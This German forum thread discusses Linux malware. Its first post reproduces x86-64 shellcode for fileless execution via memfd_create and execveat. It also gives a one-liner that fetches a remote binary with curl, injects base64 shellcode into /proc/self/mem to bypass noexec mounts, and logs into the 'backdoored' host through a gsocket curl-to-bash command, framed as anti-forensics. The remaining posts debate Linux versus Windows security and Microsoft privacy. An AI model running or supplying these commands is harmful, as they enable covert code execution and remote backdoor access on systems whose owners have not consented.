Wäre es jetzt nicht an der Zeit über einen Wechsel zu Windows nachzudenken? (Retourkutsche - Ironie off) 
Der eigentliche Shellcode:
; nasm -felf64 memexec.nasm && ld memexec.o && ./a.out
global _start
section .text
_start:
push 0x00676765 ; "egg"
mov rax, 0x13f
mov rdi, rsp ; arg 1: name [egg]
xor rsi, rsi ; arg 2: 0 = no MFD_CLOEXEC
syscall
mov r8, rax
mov rax, 2
mov rdi, rsp ; arg 1: name [egg]
xor rsi, rsi ; arg 2: 0 = O_RDONLY
syscall
mov r9, rax
loop:
sub rsp, 0x400
xor rax, rax ; arg 0: read_NR
mov rdi, r9 ; arg 1: FD [egg]
mov rsi, rsp ; arg 2: buffer
mov edx, 0x400 ; arg 3: length
syscall
cmp rax, 0x00
jle done ; EOF
mov rdx, rax ; arg 3: length (from read())
mov eax, 0x01 ; arg 0: write_NR
mov rdi, r8 ; arg 1: FD [memfd]
syscall
jmp loop
done:
mov rax, 322 ; arg 0: execveat_NR
mov rdi, r8 ; arg 1: memfd
push 0x00 ; an empty string
mov rsi, rsp ; arg 2: path (empty string)
mov rdx, rsp ; arg 3: ARGV points to empty string
xor rcx, rcx ; arg 4: ENV
mov r8, 0x1000 ; arg 5: AT_EMPTY_PATH
xor r9, r9 ; arg 6: must be clean
xor r10, r10 ; arg 7: must be clean
syscall
mov rax, 60
xor rdi, rdi
syscall
Die Bash fungiert nur als Inkubator für unseren Shellcode + Hintertür. Wir präsentieren die gleiche Funktionalität auch mit Perl oder PHP (die nicht auf cat, cut, base64 oder dd angewiesen sind). Darüber hinaus benötigt die Perl-Variante keinen Zugriff auf /proc/self/mem und funktioniert somit auch innerhalb von Containern). Die PHP-Variante eignet sich hervorragend für alle Web-Cloud-Anbieter, bei denen es keinen Shell-Zugriff und kein Ausführungsrecht gibt.
Warum sollte man nun jemals eine dateilose Ausführung benötigen?
- Du hast keine Schreibberechtigung an irgendeiner Stelle auf dem Host.
- Du hast die Berechtigung, an einen Speicherort zu schreiben, können aber nichts ausführen und die Userland-Ausführung (ulexec oder ld-linux.so) schlägt fehl. (noexec).
- Bevorzugte tmpfs-Speicherorte wie /dev/shm wurden als noexec markiert.
- Dies gilt im Allgemeinen als gute OpSec-/Anti-Forensik-Praxis, da deine Binärdateien einen Neustart nicht überstehen.
Der Ausführungstrick nutzt zwei separate Techniken, die von der Community entdeckt wurden.
- Erstellen eines speichergestützten Dateideskriptors: memfd_create syscall wird verwendet, um einen Dateideskriptor zu erstellen, der sich auf eine Datei bezieht, die sich vollständig im RAM befindet und nicht von einem dauerhaften Speicher abhängt. Dies kann verwendet werden, um (vorübergehend) Speichern Sie eine Datei, die wir ausführen möchten.
- Prozessabbild durch Schreiben in /proc/self/mem ändern :
/proc/self/memBietet eine einfache Dateischnittstelle zum Prozessspeicher. Wir können diese nutzen, um beliebigen Shellcode in den Prozessspeicher zu schreiben. Um den Shellcode tatsächlich ausführen zu lassen, können wir einen Speicherort auswählen, der vom Anweisungszeiger gehalten wird , sodass die CPU die Ausführung des Prozesses fortsetzt Unser Shellcode wird ausgeführt.
Code Ausführung:
curl -fsSL https://thc.org/gs-demo.x86 \
| bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SInlSIHsEgQAAEi4a2VybmVsAABqAFC4PwEAAEiJ50gx9g8FSYnAuAAAAAC/AAAAAEiJ5roABAAADwVIicJIg/oAfg+4AQAAAEyJx0iJ5g8F69S4QgEAAEyJx2oASInmagBUSIniSDHJTTHJTTHSQbgAEAAADwW4PAAAAL9jAAAADwU=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# Then log in to your backdoored system with:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
Weitere Infos und die Varianten für PHP / Perl:
https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries
Hehe! Ich musste zumindest schmunzeln, als ich das gelesen habe. 
Immer wieder fasziniert, wenn neue Lücken/Bypass/Exploits/… gefunden werden… zum einen erschreckend, wenn es gegen einen verwendet wird aber gleichzeitig neugierig, wie man solche Methoden nutzen kann um Systeme zu öffnen und neue Wege zu finden.
Root-Rechte bei Android zu ermöglichen, Jailbreak für diverse Systeme aber auch um Open-Source bereitzustellen durch Reverse Engineering von geschlossenen/verlassenen Systeme, die man „eigentlich“ weiter benutzen kann.
Das ist gar nicht so abwegig… Man kann nämlich auch das falsche Linux verwenden und somit einer scheinbaren Sicherheit auf den Leim gehen… Auch Linux ist nicht perfekt.
https://www.privacyguides.org/en/os/linux-overview/
Da kann ja jeder mal selber für sich eitscheiden, ob er überhaupt die richtige Distro verwendet, aus dem Hintergrund heraus, dass er sich mit Linux sicher fühlt.
1 „Gefällt mir“
Geht nicht die größere Gefahr von den Konzernen aus, die einen in die totale Abhängigkeit bringen, mit den Regierungen kooperieren (müssen), was die persönlichen Daten und Meinungsfreiheit betreffen? Dass mittlerweile Microsoft sogar gezielt die Systeme der Anwender per KI nach Informationen scannt, die gegen die AGB-Richtlinien von Microsoft vorstoßen, was dazu führen kann, dass man sämtliche Lizenzen an den Produkten von Microsoft verliert und die Daten an die Behörden weitergeleitet werden, empfinde ich als eine viel größere Bedrohung.
Und da die Integration von AI/KI in Windows wie auch die Anbindung in die Cloud immer weiter ausgebaut wird, wird die Abhängigkeit und der Kontrollverlust auch immer mehr. Gleichzeitig wird dem Anwender immer mehr die Privatsphäre und der Datenschutz genommen.
Das ist keine gute Entwicklung und trifft nicht nur auf Microsoft zu.
Linux ist aber da definitiv ein effizienter Gegenspieler unter dem Radar zu bleiben und nicht von der Datensammelwut von Konzernen abhängig gemacht zu werden.
Das hat natürlich gewaltiges Potenzial, keine Frage! Da es hier aber um pure Linux-Malware geht, weiß ich grad nicht, ob man das vergleichen sollte?
Wenn man es stupide durchrechnet, ist Linux halt das „sicherere System“, da es für dieses OS nur einen Bruchteil von Malware gibt, bezogen auf die Menge bei Windows. Man kann aber für die Zukunft davon ausgehen, dass Linux-Systeme da aufholen werden. Alleine schon, weil die Nutzer stetig mehr werden und somit für die Malware-Devs immer interessanter werden.
Letzten Endes ist es immer noch egal, welches OS man nutzt, wenn die brain.exe vollständig fehlt…